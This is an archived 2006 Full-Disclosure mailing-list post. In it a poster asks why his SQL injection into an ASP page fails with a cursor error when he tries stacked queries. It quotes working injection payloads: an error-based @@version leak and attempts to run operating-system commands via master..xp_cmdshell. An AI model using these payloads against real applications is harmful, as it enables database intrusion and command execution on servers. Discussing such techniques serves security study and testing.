full-disclosure - SQL Injection with cursors?

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 08 Nov 2006 16:33:08 +0000
From: "Andres Molinetti" <andymolinetti@...mail.com>
To: full-disclosure@...ts.grok.org.uk
Cc: webappsec@...urityfocus.com
Subject: SQL Injection with cursors?

Hi,

I have another question, somehow related with my previous one.

I have an injection point, where I can do, for example

        test.asp?param=blabla' and 1=(select @@version)--

and injections of the sort, and retrieve the information without problems.

Now, when I try to execute a stored procedure like

       test.asp?param=blabla' exec master..xp_cmdshell 'dir'--

or

       test.asp?param=blabla'; exec master..xp_cmdshell 'dir'--

I get the following error:

Microsoft OLE DB Provider for SQL Server error '80040e14'
sp_cursoropen/sp_cursorprepare: The statement parameter can only be a single
select or a single stored procedure.

Does anybody got an idea of why this is happening?

Best Regards,

Andy.

_________________________________________________________________
Dale rienda suelta a tu tiempo libre. Mil ideas para exprimir tu ocio con 
MSN Entretenimiento. http://entretenimiento.msn.es/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/